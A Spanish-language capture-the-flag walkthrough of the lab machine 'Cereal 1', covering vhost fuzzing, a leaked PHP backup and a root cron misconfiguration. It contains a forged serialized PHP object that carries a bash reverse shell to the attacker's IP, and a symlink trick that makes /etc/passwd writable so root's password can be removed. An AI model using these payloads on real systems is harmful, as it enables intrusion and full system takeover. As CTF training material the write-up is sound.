Cereal 1
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Un puñado de puertos altos y uncereal.ctfobligan a fuzzear virtual hosts hasta dar consecure.cereal.ctf:44441, un panel de ping que serializa objetos. Un backup expuesto (/back_en/index.php.bak) revela la clasepingTest: la validación de IP solo se ejecuta siisValidesfalse, así que forjar un objeto conisValid=truedesde el inicio se salta el filtro y lleva a inyección de comandos comoapache. Para root, un cron ejecuta unchowncon comodín sobrepublic_html; un symlink a/etc/passwdlo deja escribible, se elimina laxderooty se hacesu.
Reconocimiento
Localizar la máquina en la red
La máquina se levanta en la red local, así que su IP hay que descubrirla. Un barrido ARP la saca por el fabricante de la MAC:
sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
192.168.1.164 00:0c:29:ea:48:57 VMware, Inc.
192.168.1.136 b0:a4:60:cf:91:26 Intel Corporate
192.168.1.133 98:01:a7:8a:fa:55 Apple, Inc.
192.168.1.129 a4:77:33:d7:4d:4c Google, Inc.
10 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.509 seconds. 10 respondedEntre móviles, portátiles y el router, la única VMware es la víctima. Responde al ping:
ping -c 1 192.168.1.164
64 bytes from 192.168.1.164: icmp_seq=1 ttl=64 time=0.931 ms
1 packets transmitted, 1 received, 0% packet loss, time 0msTTL 64 sin decrementar → Linux en la misma red, sin saltos de routing.
Escaneo inicial
El escaneo TCP completo devuelve un abanico inusualmente ancho, con una ristra de puertos altos:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.164
Not shown: 65520 closed tcp ports (reset)
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
139/tcp open netbios-ssn syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
3306/tcp open mysql syn-ack ttl 64
11111/tcp open vce syn-ack ttl 64
22222/tcp open easyengine syn-ack ttl 64
22223/tcp open unknown syn-ack ttl 64
33333/tcp open dgi-serv syn-ack ttl 64
33334/tcp open speedtrace syn-ack ttl 64
44441/tcp open unknown syn-ack ttl 64
44444/tcp open cognex-dataman syn-ack ttl 64
55551/tcp open unknown syn-ack ttl 64
55555/tcp open unknown syn-ack ttl 64
MAC Address: 00:0C:29:EA:48:57 (VMware)Catorce puertos, y el ttl 64 sin decrementar (misma red, sin saltos) apunta a Linux. Los nombres vce, easyengine, dgi-serv o cognex-dataman no significan nada todavía: son solo lo que /etc/services asocia a esos números. La segunda pasada, con detección de versiones y scripts por defecto, es la que separa el ruido de lo real:
nmap -p21,22,80,139,445,3306,11111,22222,22223,33333,33334,44441,44444,55551,55555 -sCV 192.168.1.164
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 6 Apr 12 2021 pub
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 (())
|_http-title: Apache HTTP Server Test Page powered by: Rocky Linux
|_http-server-header: Apache/2.4.37 ()
139/tcp open tcpwrapped
445/tcp open tcpwrapped
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
11111/tcp open tcpwrapped
22222/tcp open tcpwrapped
22223/tcp open tcpwrapped
33333/tcp open tcpwrapped
33334/tcp open tcpwrapped
44441/tcp open http Apache httpd 2.4.37 (())
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
44444/tcp open tcpwrapped
55551/tcp open tcpwrapped
55555/tcp open tcpwrapped
Service Info: OS: UnixAhora el panorama cambia por completo. Diez de los catorce puertos son tcpwrapped, que no es un servicio: significa que el puerto completa el saludo TCP pero cierra la conexión antes de contestar nada, así que nmap no puede identificar qué hay detrás (típico de un filtro o un envoltorio delante del servicio real). En la práctica, esos diez son ruido puesto ahí para inflar la superficie y hacer perder el tiempo.
Lo que queda de verdad son dos servicios HTTP (el 80 con la página de prueba de Apache sobre Rocky Linux, y el 44441 con otra cosa sin título), un MariaDB que no deja consultar sin credenciales, y un vsftpd 3.0.3 con login anónimo permitido que expone un directorio pub. Ese FTP queda anotado como vía a revisar, pero el camino que acaba abriendo la máquina es el web.
Los catorce puertos se recogen con extractPorts para no arrastrarlos a mano:
extractPorts scan
Extracting information ...
IP Address: 192.168.1.164
Open ports: 21,22,80,139,445,3306,11111,22222,22223,33333,33334,44441,44444,55551,55555
Ports copied to clipboardLa identificación de los dos servicios web es escueta, y esa escasez ya es un dato:
whatweb 192.168.1.164
whatweb 192.168.1.164:44441
http://192.168.1.164 [403 Forbidden] Apache[2.4.37], Country[RESERVED][ZZ],
Email[webmaster@example.com], HTML5, HTTPServer[Apache/2.4.37 ()], IP[192.168.1.164],
PoweredBy[:], Title[Apache HTTP Server Test Page powered by: Rocky Linux]
http://192.168.1.164:44441 [200 OK] Apache[2.4.37], Country[RESERVED][ZZ],
HTTPServer[Apache/2.4.37 ()], IP[192.168.1.164]El 80 responde 403 con la página de prueba por defecto (nadie ha puesto contenido en la raíz), y el 44441 responde 200 pero sin título ni tecnología detectable. Wappalyzer tampoco añade nada:


Web servers Apache HTTP Server 2.4.37Los códigos fuente cierran la idea. El del 80 es la plantilla de Rocky Linux tal cual:

<title>Apache HTTP Server Test Page powered by: Rocky Linux</title>
<link rel="shortcut icon" href="https://rockylinux.org/favicon.ico"/>Y el del 44441, dos palabras:

Coming soon...Dos servidores que no enseñan nada por la raíz. Toca enumerar rutas.
Virtual hosting y subdominios
El barrido de rutas contra el 80 sí devuelve algo:
dirsearch -u http://192.168.1.164 --exclude-status=404,403
[16:13:44] 301 - 235B - /admin -> http://192.168.1.164/admin/
[16:13:44] 200 - 2KB - /admin/
[16:13:45] 200 - 2KB - /admin/index.php
[16:13:52] 301 - 234B - /blog -> http://192.168.1.164/blog/
[16:13:53] 200 - 8KB - /blog/
[16:13:53] 200 - 8KB - /blog/wp-login.php
[16:14:11] 200 - 75KB - /phpinfo.phpEl wp-login.php delata que el /blog es un WordPress. Un segundo barrido con gobuster y un diccionario mayor confirma los mismos tres hallazgos, que es justo lo que se busca al cruzar dos herramientas:
gobuster dir -u http://192.168.1.164 -w directory-list-2.3-big.txt -t 100 -x php
/blog (Status: 301) [Size: 234] [--> http://192.168.1.164/blog/]
/admin (Status: 301) [Size: 235] [--> http://192.168.1.164/admin/]
/phpinfo.php (Status: 200) [Size: 76259]
Progress: 995889 / 2547668 (39.09%)^CEl /blog del 80 se ve roto, sin hojas de estilo ni imágenes, pero su contenido regala el dato:

Cereal
Update
Thank you for your patience whilst we get http://cereal.ctf back up and running.
We are in the process of restoring from our backups and hope to be back online within the coming days.
Published 29 May 2021Dos cosas de una sola captura. La primera, que los recursos no carguen es la firma del virtual hosting: el servidor responde por nombre y las URL absolutas del tema apuntan a un dominio que no resolvemos. La segunda, el propio texto dice cuál es ese dominio, cereal.ctf, y de paso menciona que están restaurando desde copias de seguridad, una pista que reaparece más adelante.
sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
192.168.1.164 cereal.ctfCon el nombre resuelto, el blog se ve como debe:

El contenido sigue sin ser gran cosa, pero ahora tenemos un dominio, y con él toca fuzzear subdominios.
El primer intento, contra el puerto 80, se va de vacío:
wfuzz -u http://cereal.ctf -H "Host: FUZZ.cereal.ctf" \
-w subdomains-top1million-5000.txt --hh=426974
Target: http://cereal.ctf/
Total requests: 4989
ID Response Lines Word Chars Payload
=====================================================================
Total time: 0
Processed Requests: 4989
Filtered Requests: 4989
Requests/sec.: 0Las 4989 peticiones caen en el filtro --hh=426974, que es el tamaño de la respuesta por defecto: todos los nombres devuelven exactamente la misma página, luego ninguno es un vhost distinto. Ahora bien, un resultado vacío aquí no cierra la vía, solo dice que en el 80 no hay subdominios. Y en esta máquina hay un segundo servidor web, así que se repite la enumeración apuntando al 44441:
wfuzz -u http://cereal.ctf:44441 -H "Host: FUZZ.cereal.ctf" -w subdomains-top1million-5000.txt --hh=15
ID Response Lines Word Chars Payload
000000036: 200 49 L 140 W 1538 Ch "secure"Una sola entrada supera el filtro --hh=15: el subdominio secure responde con 1538 caracteres sobre el puerto 44441.
sudo nano /etc/hosts
192.168.1.164 cereal.ctf secure.cereal.ctfExplotación: deserialización PHP
El panel de ping serializa objetos
secure.cereal.ctf:44441 es un panel que ejecuta ping contra la IP que indiquemos.

Lo primero es comprobar que el ping es real y no una animación: pedimos que apunte a nuestra IP y nos ponemos a escuchar el tráfico ICMP.
sudo tcpdump -n -i eth0 -n icmp
PING 192.168.1.80 (192.168.1.80) 56(84) bytes of data.
64 bytes from 192.168.1.80: icmp_seq=1 ttl=64 time=0.361 ms
64 bytes from 192.168.1.80: icmp_seq=2 ttl=64 time=0.285 ms
64 bytes from 192.168.1.80: icmp_seq=3 ttl=64 time=1.22 ms
16:43:52.971297 IP 192.168.1.164 > 192.168.1.80: ICMP echo request, id 2593, seq 1, length 64
16:43:52.971343 IP 192.168.1.80 > 192.168.1.164: ICMP echo reply, id 2593, seq 1, length 64
16:43:53.902960 IP 192.168.1.164 > 192.168.1.80: ICMP echo request, id 2593, seq 2, length 64
16:43:53.902987 IP 192.168.1.80 > 192.168.1.164: ICMP echo reply, id 2593, seq 2, length 64
16:43:54.850381 IP 192.168.1.164 > 192.168.1.80: ICMP echo request, id 2593, seq 3, length 64
16:43:54.850445 IP 192.168.1.80 > 192.168.1.164: ICMP echo reply, id 2593, seq 3, length 64Tres echo request desde la víctima: el servidor ejecuta un ping de verdad contra lo que le pasamos. Si por detrás eso acaba en una llamada al sistema, lo natural es probar a concatenar un segundo comando:
127.0.0.1; whoami

(el recuadro de salida se queda en blanco)No pasa nada. Y tampoco con dsfa || whoami ni con 127.0.0.1 && whoami: ninguna de las variantes habituales de concatenación produce salida. Cuando algo así falla en las tres formas, en vez de seguir probando payloads conviene mirar cómo se manda la petición, y para eso está el código del propio cliente. La web carga un php.js:
El código fuente del panel enseña de dónde sale ese php.js y, sobre todo, qué hace el formulario antes de enviar nada:

<script src="http://secure.cereal.ctf:44441/php.js"></script>
<script>
function submit_form() {
var object = serialize({ipAddress: document.forms["ipform"].ip.value});
object = object.substr(object.indexOf("{"),object.length);
object = "O:8:\"pingTest\":1:" + object;
document.forms["ipform"].obj.value = object;
document.getElementById('ipform').submit();
}
</script>
<form method="POST" action="/" id="ipform" onsubmit="submit_form();">
<input name="obj" type="hidden" value="">
<input class="form-control" type="text" name="ip" placeholder="IP Address" required>Ahí está la explicación de por qué fallaba la concatenación: lo que viaja al servidor no es el campo ip, sino un campo oculto obj con un objeto PHP serializado a mano, O:8:"pingTest":1:{...}. La función que lo construye viene de fuera:
wget http://secure.cereal.ctf:44441/php.js
cat php.js
function serialize (mixedValue) {
// discuss at: https://locutus.io/php/serialize/
// original by: Arpad Ray (mailto:arpad@php.net)
// example 1: serialize(['Kevin', 'van', 'Zonneveld'])
// returns 1: 'a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}'Es una implementación en JavaScript de la serialize() de PHP. O sea, el formulario no manda la IP suelta: manda un objeto serializado. Lo confirmamos interceptando la petición:

POST / HTTP/1.1
Host: secure.cereal.ctf:44441
Content-Type: application/x-www-form-urlencoded
obj=O:8:"pingTest":1:{s:9:"ipAddress";s:20:"192.168.1.80; whoami";}&ip=192.168.1.80; whoamiY en la respuesta viene la función que lo arma, que es la pieza que faltaba:
function submit_form() {
var object = serialize({ ipAddress: document.forms["ipform"].ip.value });
object = object.substr(object.indexOf("{"), object.length);
object = "O:8:\"pingTest\":1:" + object;
document.forms["ipform"].obj.value = object;
document.getElementById('ipform').submit();
}Ahí está todo: el cliente construye a mano un objeto pingTest con una sola propiedad (ipAddress), y ese 1: del principio es precisamente el número de propiedades que el servidor va a deserializar. Si el objeto solo trae ipAddress, el resto de propiedades de la clase se quedan con su valor por defecto. Guardamos ese detalle, porque es exactamente lo que hay que romper.
Backup expuesto: el código fuente
Si el cliente serializa, en algún sitio del servidor hay un unserialize, y entender ese código es la diferencia entre disparar payloads a ciegas y saber qué se está haciendo. Volvemos a enumerar, esta vez contra el subdominio:
gobuster dir -u http://secure.cereal.ctf:44441 -w directory-list-2.3-big.txt -t 20
/php (Status: 200) [Size: 3699]
/style (Status: 200) [Size: 3118]
/index (Status: 200) [Size: 1538]
/back_en (Status: 301) [Size: 247] [--> http://secure.cereal.ctf:44441/back_en/]
Progress: 1273833 / 1273834 (100.00%)Casi al final del diccionario aparece /back_en, un nombre que huele a backend y a copias de seguridad. Listarlo no está permitido, así que hay que adivinar los nombres de fichero, y aquí entra la segunda idea: los editores y los despliegues descuidados dejan copias con extensión .bak, y un .php.bak no lo interpreta el servidor, lo sirve como texto plano.
wfuzz -u http://secure.cereal.ctf:44441/back_en/FUZZ.php.bak \
-w directory-list-2.3-medium.txt --hc=404 --hh=199
* Wfuzz 3.1.0 - The Web Fuzzer *
Target: http://secure.cereal.ctf:44441/back_en/FUZZ.php.bak
Total requests: 220564
ID Response Lines Word Chars Payload
000000016: 200 79 L 155 W 1814 Ch "index"
Total time: 0
Processed Requests: 488
Filtered Requests: 487wget http://secure.cereal.ctf:44441/back_en/index.php.bak
cat index.php.bak
Target: http://secure.cereal.ctf:44441/back_en/FUZZ.php.bak
Total requests: 220564
ID Response Lines Word Chars Payload
000000016: 200 79 L 155 W 1814 Ch "index"
Processed Requests: 488
Filtered Requests: 487A la petición número 16 salta index.php.bak, con 1814 caracteres frente a las 199 de la respuesta por defecto que filtra --hh=199.

La lógica es la clave:
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";
function validate() {
if (!$this->isValid) { // solo valida si NO es válido
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
$this->isValid = True;
}
$this->ping();
}
public function ping() {
if ($this->isValid)
$this->output = shell_exec("ping -c 3 $this->ipAddress"); // sin sanear
}
}
$pingTest = unserialize(urldecode($_POST['obj']));
$pingTest->validate();Bypass con isValid = true
La comprobación de que ipAddress es una IP solo se ejecuta cuando isValid es false. Si enviamos un objeto serializado con isValid ya en true, validate() se salta el filtro y llama directo a ping(), que mete ipAddress en shell_exec sin sanear. Es inyección de objetos PHP: concatenamos la reverse shell en ipAddress.
Antes de disparar la shell, dejamos un nc a la escucha:
nc -nlvp 1234// deserializationAttack.php
class pingTest {
public $ipAddress = "; bash -c 'bash -i &> /dev/tcp/192.168.1.80/1234 0>&1'";
public $isValid = True;
public $output = "";
}
echo urlencode(serialize(new pingTest));La clase se copia literalmente del .bak, que es lo que garantiza que el nombre y el número de propiedades coincidan con lo que el servidor espera al deserializar:

<?php
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";

O%3A8%3A%22pingTest%22%3A3%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A54%3A%22%3B+bash+-c+%27bash+-i+%26%3E+%2Fdev%2Ftcp%2F192.168.1.80%2F1234+0%3E%261%27%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3Bs%3A6%3A%22output%22%3Bs%3A0%3A%22%22%3B%7DLa diferencia con lo que manda el formulario legítimo está en un solo carácter del principio: O:8:"pingTest":3: en vez de :1:. Ahora el objeto declara tres propiedades, y entre ellas viaja s:7:"isValid";b:1, es decir, el booleano ya en verdadero.
Se envía el resultado en el parámetro obj:

Shell como apache.
Escalada de privilegios
Tratamiento de la TTY
La shell que llega es de las crudas: sin autocompletado, sin historial y sin poder usar Ctrl+C sin perderla. El tratamiento habitual la convierte en una terminal completa:
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
bash-4.4$ script /dev/null -c bash
/usr/bin/bash: /usr/bin/bash: cannot execute binary file
Script done, file is /dev/null
bash-4.4$ ^Z
zsh: suspended nc -nlvp 1234
# stty raw -echo; fg
[1] + continued nc -nlvp 1234
bash-4.4$ reset xtermEl cannot execute binary file no impide nada: el script ya ha creado el pseudoterminal, que es lo que buscábamos. Faltan las variables de entorno y el tamaño de la ventana, que hay que copiar del terminal real para que nano o vim no se pinten torcidos:
export SHELL=bash TERM=xterm
stty rows 49 cols 211
stty size
bash-4.4$ stty size
49 211Con la terminal usable, el primer vistazo al directorio en el que hemos caído:
alias ls="ls -la"
ls
drwxrwxr-x. 3 rocky apache 69 May 29 2021 .
drwxrwxr-x. 4 rocky apache 147 May 29 2021 ..
drwxrwxr-x. 2 rocky apache 44 May 29 2021 back_en
-rwxrwxr-x. 1 rocky apache 1814 May 29 2021 index.php
-rwxrwxr-x. 1 rocky apache 3699 May 29 2021 php.js
-rwxrwxr-x. 1 rocky apache 3118 May 29 2021 style.cssEstamos dentro del public_html del usuario rocky, y los ficheros son de rocky:apache. Nosotros somos apache, es decir, tenemos escritura en el directorio del otro usuario. Ese detalle es el que acaba dando root.
user flag
ls /
ls /home/rocky
cat /home/rocky/local.txt
bash-4.4$ ls /home/rocky/
-rwxrwxr-x. 1 rocky apache 33 May 29 2021 local.txt
drwxrwxr-x. 3 rocky apache 69 May 29 2021 public_html
bash-4.4$ cat /home/rocky/local.txt
aaa87365bf3dc0c1a82aa14b4ce26bbcUn cron con chown y comodín
Para ver qué procesos corren sin tener privilegios, pspy (repo), servido desde el atacante:
cd /home/krmena/tools
python3 -m http.server 80
cd /tmp/
wget http://192.168.1.80/pspy64
wget http://192.168.1.80/Linux-Su-Force.sh
2025-04-06 00:34:10 (49.3 MB/s) - 'pspy64' saved [3104768/3104768]
2025-04-06 00:34:28 (1.67 MB/s) - 'Linux-Su-Force.sh' saved [1600/1600]El segundo script no hace falta para monitorizar procesos (sirve para probar contraseñas contra su), pero se deja ahí por si acaso.
chmod +x *
./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
Config: Printing events (colored=true): processes=true | file-system-events=false
Draining file system events due to startup ...
doneA los pocos segundos destapa un script programado:

Su contenido:
cat /usr/share/scripts/chown.sh
# chown rocky:apache /home/rocky/public_html/*El chown se aplica sobre public_html/*, un directorio en el que apache puede escribir. El comodín * expande lo que haya dentro, y chown sigue los enlaces simbólicos: si dejamos un symlink que apunte a /etc/passwd, el cron acabará cambiando la propiedad de /etc/passwd.
cd /home/rocky/public_html
ln -s /etc/passwd passwd
bash-4.4$ cat /usr/share/scripts/chown.sh
chown rocky:apache /home/rocky/public_html/*
bash-4.4$ cd /home/rocky/public_html
bash-4.4$ ln -s /etc/passwd passwdEl script hace chown rocky:apache /home/rocky/public_html/*; dejamos ahí el symlink passwd -> /etc/passwd para que el cron cambie la propiedad del /etc/passwd real.
/etc/passwd escribible -> root
Puesto el enlace, solo queda esperar a que el cron pase. Para no ir comprobando a mano, dejamos un watch vigilando los permisos del fichero:
watch -n 0.5 ls -l /etc/passwd![]()
Antes de que pase el cron, el fichero es de root y solo root escribe en él:

Every 0.5s: ls -l /etc/passwd
-rwxrwxr-x. 1 root root 1549 May 29 2021 /etc/passwdTras la siguiente pasada del cron, cambia:

Every 0.5s: ls -l /etc/passwd
-rwxrwxr-x. 1 rocky apache 1549 May 29 2021 /etc/passwdEl chown ha seguido el symlink: /etc/passwd pertenece ahora a rocky y al grupo apache, y ese grupo es el nuestro, así que el fichero es escribible. Lo editamos para quitar la x del campo de contraseña de root:
nano /etc/passwd

root::0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
rocky:x:1000:1000::/home/rocky:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologinEsa x es un puntero: significa "la contraseña de este usuario está en /etc/shadow". Al dejar el campo vacío le estamos diciendo al sistema que la cuenta no tiene contraseña, así que su root no tiene nada que pedir.
su root
id
bash-4.4$ su root
[root@cereal public_html]# id
uid=0(root) gid=0(root) groups=0(root)cat /root/proof.txt
1aeb5db4e979543cb807cfd90df77763Máquina pwneada.
Cadena de ataque
cereal.ctf (vhost) -> fuzz de subdominios en :44441 -> secure.cereal.ctf
└─> panel de ping (objetos serializados) -> /back_en/index.php.bak (código fuente)
└─> objeto con isValid=true -> salta el filtro -> shell_exec (RCE como apache)
└─> cron chown rocky:apache public_html/* -> symlink a /etc/passwd
└─> /etc/passwd escribible -> quitar la x de root -> su rootLecciones aprendidas
- El virtual host puede esconder el servicio real en otro puerto. El subdominio no salía en el 80; sí en el 44441. Hay que fuzzear en cada servicio HTTP.
- Un
.baksirve el código en claro. Con la fuente delante, la deserialización deja de ser a ciegas: se ve exactamente qué propiedad manipular. - No hace falta una cadena POP para explotar
unserialize. Basta con controlar una propiedad de estado (isValid) para saltarse la validación y llegar alshell_exec. chown/chmodcon comodín + cron = symlink attack. El comodín expande nuestro enlace y la operación privilegiada acaba aplicándose sobre/etc/passwd.- Un
/etc/passwdescribible es root. Quitar laxderoot(o inyectar un usuario con UID 0) es la vía más limpia auid=0.